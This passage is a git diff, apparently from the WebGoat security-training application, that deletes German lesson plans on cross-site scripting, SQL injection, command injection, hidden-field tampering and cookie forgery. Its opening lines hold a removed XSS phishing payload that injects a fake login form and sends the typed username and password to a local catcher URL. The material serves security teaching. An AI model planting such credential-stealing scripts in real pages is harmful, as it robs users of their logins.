" - + "</form><script>function hack(){ " - + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" - + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" - + "alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " - + "</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>"); - /** - * password

- *
- *
- *

This feature requires account login:


- *
- * Enter Username:
- *
- * Enter Password:
- *
- *
- *
- *
- * -"Basic Authentication" wird benutzt um Server-seitige Resource zu schützen. Wird eine Anfrage an eine geschützte Resource gestellt, so sendet der Webserver ein "401 authentication request" mit der Antwort auf diese Anfrage. -Dann fragt, auf der Client Seite, der Browser den Benutzer mittels einer Dialogbox nach Benutzername und Passwort für diese Resource. -Der Browser enkodiert Benutzername und Passwort mit base64 und sendet diese Zugangsdaten zum Webserver. -Daraufhin validiert der Webserver Benutzername und Passwort und gibt als Antwort die angeforderte Resource zurück falls die übermittelten Zugangsdaten korrekt sind. -Die Zugangsdaten werden vom Browser bei jedem weiteren Zugriff auf geschützte Resourcen mitgesendet ohne dass der Benutzer -sie ein weiteres Mal eingeben muss.
-
-

Grundsätzliche(s) Ziel(e):

-Das Ziel dieser Lektion ist es "Basic Authentication" zu verstehen und die folgenden Fragen zu beantworten. - diff --git a/src/main/webapp/lesson_plans/German/CommandInjection.html b/src/main/webapp/lesson_plans/German/CommandInjection.html deleted file mode 100644 index a8de365cb..000000000 --- a/src/main/webapp/lesson_plans/German/CommandInjection.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lehrplan: Einschleusen von Programmcode

-
-

Konzept:

- -Das Einschleusen von Programmcode stellt eine ernst zu nehmende Bedrohung für dynamische Webseiten dar. Entsprechende Angriffe -sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der Kompromittierung des kompletten Systems. -Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar. -Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken -leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen -besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen, -Skripten und Datenbankabfragen eingebaut werden. -

Grundsätzliche(s) Ziel(e):

- -Schleusen Sie einen Befehl in das darunterliegende Betriebssystem ein. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/HiddenFieldTampering.html b/src/main/webapp/lesson_plans/German/HiddenFieldTampering.html deleted file mode 100644 index c4606ac75..000000000 --- a/src/main/webapp/lesson_plans/German/HiddenFieldTampering.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lehrplan: Versteckte Felder ausnutzen

-
-

Konzept:

- -Entwickler benutzen versteckte Formularfelder zur Besucherverfolgung, für den Login, für Preisinformationen und andere -Informationen. Dies ist ein sehr einfacher und bequemer Mechnismus für Entwickler, allerdings werden die Werte -diese Felder nur selten geprüft bevor sie benutzt werden. In dieser Lektion lernt man wie man versteckte Felder -zu seinem Vorteil manipulieren kann. - -
- -

Grundsätzliche(s) Ziel(e):

-Nutzen Sie ein verstecktes Formularfeld aus, um den HD Fernseher zu einem falschen Preis zu kaufen. diff --git a/src/main/webapp/lesson_plans/German/HtmlClues.html b/src/main/webapp/lesson_plans/German/HtmlClues.html deleted file mode 100644 index 70d63e5ee..000000000 --- a/src/main/webapp/lesson_plans/German/HtmlClues.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Lehrplan: Nützliche Hinweise in HTML entdecken.

-
- -

Konzept:

- - Entwickler lassen oftmals Kommentare wie FIXME's, TODO's, Code Broken, Hack usw. im Quellcode. - Durchsuchen Sie den Quellcode nach allem was für Sie nach Passwörtern, Hintertüren oder anderen Unregelmäßigkeiten aussieht. - - -
-

Grundsätzliche(s) Ziel(e):

-Sie suchen und finden Hinweise im Quellcode die es Ihnen erlauben sich anzumelden. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/HttpBasics.html b/src/main/webapp/lesson_plans/German/HttpBasics.html deleted file mode 100644 index 995912eeb..000000000 --- a/src/main/webapp/lesson_plans/German/HttpBasics.html +++ /dev/null @@ -1,29 +0,0 @@ -
-

Lehrplan: Http Basics

-
- -

Lehrinhalt:

- Diese Lektion stellt die Verständnis-Grundlagen für den Datentransport zwischen Browser und Webapplikation dar.
-
-

-So funktioniert HTTP: -

-Alle HTTP Transaktionen folgen demselben Schema. Jede Anfrage vom Client und jede Antwort des Servers besteht aus drei Teilen: Der Anfrage-/Antwortzeile, dem Kopf und dem Körper. -Der Client initiiert eine Transaktion wie folgt:
-
- Der Client kontaktiert den Server und sendet eine Dokumentenanfrage
-
-
-
    GET /index.html?param=value HTTP/1.0
- Als nächstes sendet der Client optionale Kopfzeilen (Header) um den Server über die Client-seitige Konfiguration und die akzeptierten Dokumentenformate zu informieren.
-
-
    User-Agent: Mozilla/4.06 Accept: image/gif,image/jpeg, */*
-Nachdem der eigentliche Anfrage (Request) und den weiteren Kopfzeilen (Header) kann der Client noch weitere Daten senden. Diese Daten werden meistens von CGI Programmen im Zusammenhang mit der POST Methode ausgewertet. -
-

Grundsätzliche(s) Ziel(e):

- -Geben Sie Ihren Namen in das Eingabefeld ein und drücken sie "Los gehts!" um die Anfrage abzuschicken. Der Server wird die Anfrage akzeptieren, Ihre Eingabedaten umdrehen, und wieder zu Ihnen zurückschicken. Dies stellt eine vollständige HTTP Transaktion dar! -

-Sie sollten mit der Benutzung von WebGoat vertraut werden. Es sollten die Knöpfe für Hinweise (Hints), für das Anzeigen von Parametern(Parameters) oder Cookies und für das Anzeigen von Java-Quellcode ausprobiert werden. -Außerdem, können Sie hier WebScarab gut ausprobieren. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/JavaScriptValidation.html b/src/main/webapp/lesson_plans/German/JavaScriptValidation.html deleted file mode 100644 index f278bc9d9..000000000 --- a/src/main/webapp/lesson_plans/German/JavaScriptValidation.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Lehrplan: Client-seitige JavaScript Validierung umgehen

-
-

Konzept:

- -Client-seitige Validierung sollte nicht als eine sichere Maßnahme zur Validierung von Parametern angesehen werden. -Diese Art der Validierung kann höchstens den Server entlasten und verhindern das normale Benutzer Eingabedaten in -einem falschen Format absenden. Angreifer hingegen, können diesen Mechanismus auf verschiedene Arten umgehen. Jede -Client-seitige Validierung sollte auf der Serverseite wiederholt werden. Dies verhindert, dass unsichere Parameter -in der Applikation benutzt werden. - -
-

Grundsätzliche(s) Ziel(e):

- -Das untenstehende Formular verlangt von Ihnen verschiedene Regeln beim Ausfüllen einzuhalten. Dies wird Client-seitig -überprüft. Versuchen Sie diese -Regeln zu brechen und senden Sie Daten an die Webseite die die Webseite nicht erwartet! Sie müssen alle 7 Regeln -gleichzeitig brechen! - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/LogSpoofing.html b/src/main/webapp/lesson_plans/German/LogSpoofing.html deleted file mode 100644 index c5bbff3b0..000000000 --- a/src/main/webapp/lesson_plans/German/LogSpoofing.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Lehrplan: Fälschen von Einträgen in Log Dateien (Log Spoofing)

-
- -

Konzept:

-

-Log-Einträge in Log-Dateien müssen nicht immer von tatsächlichen Ereignissen stammen. Ein Angreifer kann durch Einschleusen -bestimmter Einträge das Eintreten bestimmter Ereignisse vortäuschen und dadurch den Administrator zu unnötigen bzw. voreiligen -Handlungen verleiten bzw. ihn einfach nur verwirren. -

- -

Grundsätzliche(s) Ziel(e):

- -* Der graue Bereich steht für das was tatsächlich in der Log-Datei des Webservers erscheint.
-* Ihr Ziel ist es so aussehen zu lassen, als hätte sich der Benutzer "admin" erfolgreich eingeloggt.
-* Verbessern Sie Ihren Angriff, indem Sie ein Skript (Javascript) in das Log schreiben. - diff --git a/src/main/webapp/lesson_plans/German/PathBasedAccessControl.html b/src/main/webapp/lesson_plans/German/PathBasedAccessControl.html deleted file mode 100644 index c7afce017..000000000 --- a/src/main/webapp/lesson_plans/German/PathBasedAccessControl.html +++ /dev/null @@ -1,11 +0,0 @@ -
-

Lehrplan: Umgehen eines Pfad-basierten Zugangskontrollschemas

-
-

Konzept:

- -In einem Pfad-basierten Zugangangskontrollschemas (path based access control scheme), kann ein Angreifer den Pfad "bewandern" indem -er relative Pfadangaben übergibt. Dadurch kann der Angreifer auf Dateien zugreifen, die für niemanden zugänglich sind, bzw. zu denen -der Zugang bei direkter Anfrage ansonsten abgelehnt würde. - -

Grundsätzliche(s) Ziel(e):

-Sie sollten in der Lage sein auf eine Datei zuzugreifen die sich nicht im aufgelisteten Verzeichnis befindet. diff --git a/src/main/webapp/lesson_plans/German/ReflectedXSS.html b/src/main/webapp/lesson_plans/German/ReflectedXSS.html deleted file mode 100644 index 60f5e0e80..000000000 --- a/src/main/webapp/lesson_plans/German/ReflectedXSS.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Lehrplan: Cross Site Scripting (XSS)

-
-

Konzept:

- -Jegliche Eingabedaten sollten auf der Serverseite überprüft werden. -XSS passiert wenn nicht geprüfte Benutereingaben in eine HTTP Response eingebaut werden. -Bei einem reflektierten XSS Angriff, kann ein Angreifer eine URL erzeugen die ein Angriffsskript enthält und kann diese -URL auf einer Webseite hinterlegen, sie per Email verschicken oder ein Opfer auf eine andere Weise dazu bringen die -URL zu besuchen. - - - -

General Goal(s):

- -Ihre Aufgabe ist es, sich ein Stück Javascript zu überlegen das Sie in diese Seite einbauen können. -Dann versuchen Sie die Seite dazu zu bringen, Ihnen dieses Skript wieder auszulieferen (es zu reflektieren) -so dass das Skript in Ihrem Browser ausgeführt wird. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/RemoteAdminFlaw.html b/src/main/webapp/lesson_plans/German/RemoteAdminFlaw.html deleted file mode 100644 index dbaaeb3c3..000000000 --- a/src/main/webapp/lesson_plans/German/RemoteAdminFlaw.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lehrplan: Zugang zu Web-Resourcen erzwingen

-
-

Konzept::

-Applikationen haben oftmals eine Administrationsschnittstelle, das priviligierten Benutzern Zugang zu Funktionalität ermöglicht die -für normale Benutzer nicht sichtbar ist. Der Applikationsserver selbst hat auch oft noch eine seperate Administrationsschnittstelle. - -

Grundsätzliche(s) Ziel(e): - -Versuchen Sie auf die Administrationsschnittstelle von WebGoat zuzugreifen. Sie können auch versuchen auf die Administrationsschnittstelle -von Tomcat (der Applikationsserver) zuzugreifen. Die Tomcat Schnittstelle kann über die URL /admin erreicht werden, zählt aber nicht -für das Bestehen dieser Lektion. -Wenn Sie Zugriff auf Funktionalität der Administrationsschnittstelle erlangt haben, dann kommen Sie hierher zurück um zu sehen ob Sie -die Lektion abgeschlossen haben. - -

diff --git a/src/main/webapp/lesson_plans/German/SqlNumericInjection.html b/src/main/webapp/lesson_plans/German/SqlNumericInjection.html deleted file mode 100644 index ad9e7cc41..000000000 --- a/src/main/webapp/lesson_plans/German/SqlNumericInjection.html +++ /dev/null @@ -1,18 +0,0 @@ -
-

Lehrplan: Durchführung von Numeric SQL Injection

-
- -

Konzept:

-SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar. -Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der -Kompromittierung des kompletten Systems. -Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar. -Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken -leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen -besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen, -Skripten und Datenbankabfragen eingebaut werden. -

Grundsätzliche(s) Ziel(e):

- -Das untenstehende Formular ermöglicht es dem Benutzer Wetterdaten zu betrachten. Versuchen Sie einen SQL String einzuschleusen, der -als Resultat alle Wetterdaten anzeigt. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/SqlStringInjection.html b/src/main/webapp/lesson_plans/German/SqlStringInjection.html deleted file mode 100644 index 0cd360db7..000000000 --- a/src/main/webapp/lesson_plans/German/SqlStringInjection.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Lehrplan: Durchführung von String SQL Injection

-
- -

Konzept:

- -SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar. -Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der -Kompromittierung des kompletten Systems. -Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar. -Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken -leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen -besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen, -Skripten und Datenbankabfragen eingebaut werden. -

Grundsätzliche(s) Ziel(e):

- -Das untenstehende Formular erlaubt es Benutzern ihre Kreditkartennummern anzuzeigen. Das können Sie -exemplarisch mit dem Benutzernamen "Smith" ausprobieren. -Versuchen Sie einen SQL String einzuschleusen, der als Resultat alle Kreditkartennummern anzeigt. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/StoredXss.html b/src/main/webapp/lesson_plans/German/StoredXss.html deleted file mode 100644 index 74463c949..000000000 --- a/src/main/webapp/lesson_plans/German/StoredXss.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lehrplan: Durchführen von Stored Cross Site Scripting (XSS)

-
-

Konzept:

- -Man sollte Eingabedaten immer säubern, besonders diese die später als parameter für Betriebssystembefehle, Skripte -und Datenbankabfragen benutzt werden. Essentiell ist das für Inhalt der irgendwo in der Applikation permanent gespeichert -wird. Benutzer sollten nicht in der Lage sein eigene Inhalte zu hinterlassen, durch die andere Nutzer ungewünschte -Seiten oder Inhalte nachladen wenn der Inhalt betrachtet wird. - - -

Grundsätzliche(s) Ziel(e):

- -Hinterlassen Sie Inhalt der den Browser eines anderen Benutzers dazu bringt eine unerwünschte -Seite bzw. Inhalt anzuzeigen. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/German/WeakAuthenticationCookie.html b/src/main/webapp/lesson_plans/German/WeakAuthenticationCookie.html deleted file mode 100644 index 5475df32c..000000000 --- a/src/main/webapp/lesson_plans/German/WeakAuthenticationCookie.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Lehrplan: Einen Authentisierungs Cookie fa¨lschen

-
- -

Lehrinhalt:

- -Viele Webapplikationen erlauben es einem Benutzer sofort eingeloggt zu sein, sobald der Benutzer den richtigen Authentisierungs Cookie übergibt. -Manchmal kann der richtige Wert dieses Cookies geraten werden, wenn der Algorithmus zur Generierung dieser Cookies bekannt ist. -Der Cookie kann auch von dem Computer des Benutzers gestohlen werden indem andere Schwachstellen in seinem System ausgenutzt werden. -Mittels Cross Site Scripting (XSS) kann der Cookie auch abgefangen werden. -Diese Übung soll Sie auf das Thema der Authentisierungs Cookies aufmerksam machen und gibt Ihnen -die Möglichkeit die Authentisierungsmethode dieser Lektion zu überwinden. - - - -

Grundsätzliche(s) Ziel(e):

- - Es ist Ihre Aufgabe die Authentisierung zu umgehen. Melden Sie sich mit dem Benutzernamen "webgoat" und dem Passwort "webgoat" an - und schauen Sie was passiert. Sie können auch versuchen Sich mit aspect/aspect anzumelden. Wenn Sie den Authentisierungs Cookie verstehen, - versuchen Sie Ihre Identität zu "alice" zu wechseln. - - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/BasicAuthentication.html b/src/main/webapp/lesson_plans/de/BasicAuthentication.html deleted file mode 100644 index 65490ef0c..000000000 --- a/src/main/webapp/lesson_plans/de/BasicAuthentication.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Lehrplan: Basic Authentication

-
-

Lehrinhalt:

- -"Basic Authentication" wird benutzt um Server-seitige Resource zu schützen. Wird eine Anfrage an eine geschützte Resource gestellt, so sendet der Webserver ein "401 authentication request" mit der Antwort auf diese Anfrage. -Dann fragt, auf der Client Seite, der Browser den Benutzer mittels einer Dialogbox nach Benutzername und Passwort für diese Resource. -Der Browser enkodiert Benutzername und Passwort mit base64 und sendet diese Zugangsdaten zum Webserver. -Daraufhin validiert der Webserver Benutzername und Passwort und gibt als Antwort die angeforderte Resource zurück falls die übermittelten Zugangsdaten korrekt sind. -Die Zugangsdaten werden vom Browser bei jedem weiteren Zugriff auf geschützte Resourcen mitgesendet ohne dass der Benutzer -sie ein weiteres Mal eingeben muss.
-
-

Grundsätzliche(s) Ziel(e):

-Das Ziel dieser Lektion ist es "Basic Authentication" zu verstehen und die folgenden Fragen zu beantworten. - diff --git a/src/main/webapp/lesson_plans/de/CommandInjection.html b/src/main/webapp/lesson_plans/de/CommandInjection.html deleted file mode 100644 index a8de365cb..000000000 --- a/src/main/webapp/lesson_plans/de/CommandInjection.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lehrplan: Einschleusen von Programmcode

-
-

Konzept:

- -Das Einschleusen von Programmcode stellt eine ernst zu nehmende Bedrohung für dynamische Webseiten dar. Entsprechende Angriffe -sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der Kompromittierung des kompletten Systems. -Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar. -Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken -leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen -besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen, -Skripten und Datenbankabfragen eingebaut werden. -

Grundsätzliche(s) Ziel(e):

- -Schleusen Sie einen Befehl in das darunterliegende Betriebssystem ein. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/HiddenFieldTampering.html b/src/main/webapp/lesson_plans/de/HiddenFieldTampering.html deleted file mode 100644 index c4606ac75..000000000 --- a/src/main/webapp/lesson_plans/de/HiddenFieldTampering.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Lehrplan: Versteckte Felder ausnutzen

-
-

Konzept:

- -Entwickler benutzen versteckte Formularfelder zur Besucherverfolgung, für den Login, für Preisinformationen und andere -Informationen. Dies ist ein sehr einfacher und bequemer Mechnismus für Entwickler, allerdings werden die Werte -diese Felder nur selten geprüft bevor sie benutzt werden. In dieser Lektion lernt man wie man versteckte Felder -zu seinem Vorteil manipulieren kann. - -
- -

Grundsätzliche(s) Ziel(e):

-Nutzen Sie ein verstecktes Formularfeld aus, um den HD Fernseher zu einem falschen Preis zu kaufen. diff --git a/src/main/webapp/lesson_plans/de/HtmlClues.html b/src/main/webapp/lesson_plans/de/HtmlClues.html deleted file mode 100644 index 70d63e5ee..000000000 --- a/src/main/webapp/lesson_plans/de/HtmlClues.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Lehrplan: Nützliche Hinweise in HTML entdecken.

-
- -

Konzept:

- - Entwickler lassen oftmals Kommentare wie FIXME's, TODO's, Code Broken, Hack usw. im Quellcode. - Durchsuchen Sie den Quellcode nach allem was für Sie nach Passwörtern, Hintertüren oder anderen Unregelmäßigkeiten aussieht. - - -
-

Grundsätzliche(s) Ziel(e):

-Sie suchen und finden Hinweise im Quellcode die es Ihnen erlauben sich anzumelden. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/HttpBasics.html b/src/main/webapp/lesson_plans/de/HttpBasics.html deleted file mode 100644 index 995912eeb..000000000 --- a/src/main/webapp/lesson_plans/de/HttpBasics.html +++ /dev/null @@ -1,29 +0,0 @@ -
-

Lehrplan: Http Basics

-
- -

Lehrinhalt:

- Diese Lektion stellt die Verständnis-Grundlagen für den Datentransport zwischen Browser und Webapplikation dar.
-
-

-So funktioniert HTTP: -

-Alle HTTP Transaktionen folgen demselben Schema. Jede Anfrage vom Client und jede Antwort des Servers besteht aus drei Teilen: Der Anfrage-/Antwortzeile, dem Kopf und dem Körper. -Der Client initiiert eine Transaktion wie folgt:
-
- Der Client kontaktiert den Server und sendet eine Dokumentenanfrage
-
-
-
    GET /index.html?param=value HTTP/1.0
- Als nächstes sendet der Client optionale Kopfzeilen (Header) um den Server über die Client-seitige Konfiguration und die akzeptierten Dokumentenformate zu informieren.
-
-
    User-Agent: Mozilla/4.06 Accept: image/gif,image/jpeg, */*
-Nachdem der eigentliche Anfrage (Request) und den weiteren Kopfzeilen (Header) kann der Client noch weitere Daten senden. Diese Daten werden meistens von CGI Programmen im Zusammenhang mit der POST Methode ausgewertet. -
-

Grundsätzliche(s) Ziel(e):

- -Geben Sie Ihren Namen in das Eingabefeld ein und drücken sie "Los gehts!" um die Anfrage abzuschicken. Der Server wird die Anfrage akzeptieren, Ihre Eingabedaten umdrehen, und wieder zu Ihnen zurückschicken. Dies stellt eine vollständige HTTP Transaktion dar! -

-Sie sollten mit der Benutzung von WebGoat vertraut werden. Es sollten die Knöpfe für Hinweise (Hints), für das Anzeigen von Parametern(Parameters) oder Cookies und für das Anzeigen von Java-Quellcode ausprobiert werden. -Außerdem, können Sie hier WebScarab gut ausprobieren. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/JavaScriptValidation.html b/src/main/webapp/lesson_plans/de/JavaScriptValidation.html deleted file mode 100644 index f278bc9d9..000000000 --- a/src/main/webapp/lesson_plans/de/JavaScriptValidation.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Lehrplan: Client-seitige JavaScript Validierung umgehen

-
-

Konzept:

- -Client-seitige Validierung sollte nicht als eine sichere Maßnahme zur Validierung von Parametern angesehen werden. -Diese Art der Validierung kann höchstens den Server entlasten und verhindern das normale Benutzer Eingabedaten in -einem falschen Format absenden. Angreifer hingegen, können diesen Mechanismus auf verschiedene Arten umgehen. Jede -Client-seitige Validierung sollte auf der Serverseite wiederholt werden. Dies verhindert, dass unsichere Parameter -in der Applikation benutzt werden. - -
-

Grundsätzliche(s) Ziel(e):

- -Das untenstehende Formular verlangt von Ihnen verschiedene Regeln beim Ausfüllen einzuhalten. Dies wird Client-seitig -überprüft. Versuchen Sie diese -Regeln zu brechen und senden Sie Daten an die Webseite die die Webseite nicht erwartet! Sie müssen alle 7 Regeln -gleichzeitig brechen! - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/LogSpoofing.html b/src/main/webapp/lesson_plans/de/LogSpoofing.html deleted file mode 100644 index c5bbff3b0..000000000 --- a/src/main/webapp/lesson_plans/de/LogSpoofing.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Lehrplan: Fälschen von Einträgen in Log Dateien (Log Spoofing)

-
- -

Konzept:

-

-Log-Einträge in Log-Dateien müssen nicht immer von tatsächlichen Ereignissen stammen. Ein Angreifer kann durch Einschleusen -bestimmter Einträge das Eintreten bestimmter Ereignisse vortäuschen und dadurch den Administrator zu unnötigen bzw. voreiligen -Handlungen verleiten bzw. ihn einfach nur verwirren. -

- -

Grundsätzliche(s) Ziel(e):

- -* Der graue Bereich steht für das was tatsächlich in der Log-Datei des Webservers erscheint.
-* Ihr Ziel ist es so aussehen zu lassen, als hätte sich der Benutzer "admin" erfolgreich eingeloggt.
-* Verbessern Sie Ihren Angriff, indem Sie ein Skript (Javascript) in das Log schreiben. - diff --git a/src/main/webapp/lesson_plans/de/PathBasedAccessControl.html b/src/main/webapp/lesson_plans/de/PathBasedAccessControl.html deleted file mode 100644 index c7afce017..000000000 --- a/src/main/webapp/lesson_plans/de/PathBasedAccessControl.html +++ /dev/null @@ -1,11 +0,0 @@ -
-

Lehrplan: Umgehen eines Pfad-basierten Zugangskontrollschemas

-
-

Konzept:

- -In einem Pfad-basierten Zugangangskontrollschemas (path based access control scheme), kann ein Angreifer den Pfad "bewandern" indem -er relative Pfadangaben übergibt. Dadurch kann der Angreifer auf Dateien zugreifen, die für niemanden zugänglich sind, bzw. zu denen -der Zugang bei direkter Anfrage ansonsten abgelehnt würde. - -

Grundsätzliche(s) Ziel(e):

-Sie sollten in der Lage sein auf eine Datei zuzugreifen die sich nicht im aufgelisteten Verzeichnis befindet. diff --git a/src/main/webapp/lesson_plans/de/ReflectedXSS.html b/src/main/webapp/lesson_plans/de/ReflectedXSS.html deleted file mode 100644 index 60f5e0e80..000000000 --- a/src/main/webapp/lesson_plans/de/ReflectedXSS.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Lehrplan: Cross Site Scripting (XSS)

-
-

Konzept:

- -Jegliche Eingabedaten sollten auf der Serverseite überprüft werden. -XSS passiert wenn nicht geprüfte Benutereingaben in eine HTTP Response eingebaut werden. -Bei einem reflektierten XSS Angriff, kann ein Angreifer eine URL erzeugen die ein Angriffsskript enthält und kann diese -URL auf einer Webseite hinterlegen, sie per Email verschicken oder ein Opfer auf eine andere Weise dazu bringen die -URL zu besuchen. - - - -

General Goal(s):

- -Ihre Aufgabe ist es, sich ein Stück Javascript zu überlegen das Sie in diese Seite einbauen können. -Dann versuchen Sie die Seite dazu zu bringen, Ihnen dieses Skript wieder auszulieferen (es zu reflektieren) -so dass das Skript in Ihrem Browser ausgeführt wird. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/RemoteAdminFlaw.html b/src/main/webapp/lesson_plans/de/RemoteAdminFlaw.html deleted file mode 100644 index dbaaeb3c3..000000000 --- a/src/main/webapp/lesson_plans/de/RemoteAdminFlaw.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lehrplan: Zugang zu Web-Resourcen erzwingen

-
-

Konzept::

-Applikationen haben oftmals eine Administrationsschnittstelle, das priviligierten Benutzern Zugang zu Funktionalität ermöglicht die -für normale Benutzer nicht sichtbar ist. Der Applikationsserver selbst hat auch oft noch eine seperate Administrationsschnittstelle. - -

Grundsätzliche(s) Ziel(e): - -Versuchen Sie auf die Administrationsschnittstelle von WebGoat zuzugreifen. Sie können auch versuchen auf die Administrationsschnittstelle -von Tomcat (der Applikationsserver) zuzugreifen. Die Tomcat Schnittstelle kann über die URL /admin erreicht werden, zählt aber nicht -für das Bestehen dieser Lektion. -Wenn Sie Zugriff auf Funktionalität der Administrationsschnittstelle erlangt haben, dann kommen Sie hierher zurück um zu sehen ob Sie -die Lektion abgeschlossen haben. - -

diff --git a/src/main/webapp/lesson_plans/de/SqlNumericInjection.html b/src/main/webapp/lesson_plans/de/SqlNumericInjection.html deleted file mode 100644 index ad9e7cc41..000000000 --- a/src/main/webapp/lesson_plans/de/SqlNumericInjection.html +++ /dev/null @@ -1,18 +0,0 @@ -
-

Lehrplan: Durchführung von Numeric SQL Injection

-
- -

Konzept:

-SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar. -Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der -Kompromittierung des kompletten Systems. -Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar. -Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken -leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen -besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen, -Skripten und Datenbankabfragen eingebaut werden. -

Grundsätzliche(s) Ziel(e):

- -Das untenstehende Formular ermöglicht es dem Benutzer Wetterdaten zu betrachten. Versuchen Sie einen SQL String einzuschleusen, der -als Resultat alle Wetterdaten anzeigt. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/SqlStringInjection.html b/src/main/webapp/lesson_plans/de/SqlStringInjection.html deleted file mode 100644 index 0cd360db7..000000000 --- a/src/main/webapp/lesson_plans/de/SqlStringInjection.html +++ /dev/null @@ -1,20 +0,0 @@ -
-

Lehrplan: Durchführung von String SQL Injection

-
- -

Konzept:

- -SQL Injection Angriffe stellen eine ernstzunehmende Bedrohung für alle Datenbank-getriebenen Webseiten dar. -Entsprechende Angriffe sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der -Kompromittierung des kompletten Systems. -Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar. -Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken -leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen -besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen, -Skripten und Datenbankabfragen eingebaut werden. -

Grundsätzliche(s) Ziel(e):

- -Das untenstehende Formular erlaubt es Benutzern ihre Kreditkartennummern anzuzeigen. Das können Sie -exemplarisch mit dem Benutzernamen "Smith" ausprobieren. -Versuchen Sie einen SQL String einzuschleusen, der als Resultat alle Kreditkartennummern anzeigt. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/de/StoredXss.html b/src/main/webapp/lesson_plans/de/StoredXss.html deleted file mode 100644 index 74463c949..000000000 --- a/src/main/webapp/lesson_plans/de/StoredXss.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lehrplan: Durchführen von Stored Cross Site Scripting (XSS)

-
-

Konzept:

